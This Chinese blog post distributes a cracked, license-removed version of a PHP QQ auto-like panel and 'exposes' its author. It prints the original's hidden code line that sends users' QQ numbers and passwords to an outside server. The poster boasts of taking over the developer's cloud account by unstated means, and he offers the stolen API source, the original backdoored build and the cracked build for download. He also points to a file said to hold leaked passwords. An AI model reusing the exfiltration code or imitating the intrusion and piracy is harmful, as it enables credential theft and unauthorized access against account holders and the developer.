【PHP】天高云淡秒赞2.0最新去后门版与龙魂收集用户QQ密码的证据
破解说明:
1.去除授权机制
2.去除所有后门
3.去除发送QQ密码到天高云淡服务器的代码
4.全部使用本地接口
v2.0
1.修复秒赞失败过多的问题
2.加入协助打码功能
3.加入一键更新QQ功能
4.首页和登陆页等进行优化
5.加入找回密码功能
6.加入QQ提醒和自动加群功能(加群测试中,建议不要使用)
7.添加QQ进行深度优化 使用一键添加QQ 不用那么麻烦
8.加入QQ欢乐积分商城签到
9.加入QQ浏览器积分签到
10.加入大厅签到 部落 情侣签到
11.优化秒赞检测和单项检测
12.加入彩虹功能(3366 微云 管家 大乐斗 好莱坞VIP签到 )
13.对程序各种细节进行优化,修复程序小细节和BUG以及修改数据库信息的BUG
《天高云淡作者龙魂收集用户QQ密码的证据》
天高云淡在其2.0最新版程序里面公然收集用户QQ密码,证据如下:
天高云淡2.0程序的/mgmt/add.php里面出现了这样一句代码:
@file_get_contents(“http://htkmz.cn-hangzhou.aliapp.com/common/add.php?uin=”.$uin.”&pwd=”.$_pwd);
此句代码可以直接将所有添加的QQ和密码发往天高云淡的API。
于是我通过特殊手段将天高云淡作者龙魂的阿里云账号拿到手,看看他的API里都有什么
然后SVN检出,得到了他的API源码(后文提供源码打包下载)
在common/add.php里面,果然是记录了QQ号和密码,除此之外,common/p.php是天高云淡QQ密码加密获取P值的接口(如下图),没想到这个接口竟然是调用彩虹的,而且在调用之前还不忘再记录一下QQ密码!
从代码可以分析,他把QQ密码都保存在了 http://htkmz.cn-hangzhou.aliapp.com/common/tgmima.txt 这个txt文档里面(如下图),截至发表此文,这个txt文件还可以被任意下载!里面保存了所有使用过天高云淡2.0的QQ的密码!!
因此,为了你的QQ安全,千万不要使用天高云淡秒赞来添加QQ,否则QQ被盗是100%的了。
龙魂不仅在其程序里面公然收集用户QQ密码,还在彩虹程序破解版里面加入收集用户QQ密码的接口,具体在”彩虹云任务秒赞破解版v6.18.5.zip”的cron/newsid.php里面,把原来的获取p值接口改成了龙魂自己的接口(如下图),但是从上文可以知道,龙魂根本没有自己的获取p值接口,那他改这个的用意何在呢?呵呵,不用说大家都明白了吧!
除此之外,经过大量了解,龙魂此人php水平很差,天高云淡的开发实质上是在云淡风轻源码基础上,经过微秒赞等高手协助、同时借鉴大量彩虹云任务的源码的结果。龙魂虽然水平很差,但是嘴上功夫很厉害,欺上瞒下,坑蒙拐骗,他和一些水平比较高的人拉拢关系都是采用了比较恶心的方法(如下图),但是真正明智的人是不会上当的;他对于自己的竞争对手往往采用挑拨离间、暗箭中人的阴险手段,可以说他10句话里面有9句是假的。
天高云淡秒赞2.0下载地址在下面
天高云淡2.0去后门免授权版本站下载地址:点击下载 (建议所有正版用户换成此版本,以免QQ密码泄露)
天高云淡2.0去后门免授权版备份下载地址:
(建议所有正版用户换成此版本,以免QQ密码泄露)
天高云淡2.0正式版本站下载地址:点击下载 (原版的,有后门,仅供参考勿用于正式环境)
天高云淡2.0正式版备份下载地址:
(原版的,有后门,仅供参考勿用于正式环境)
天高云淡API源码本站下载地址:点击下载
天高云淡API源码备份下载地址: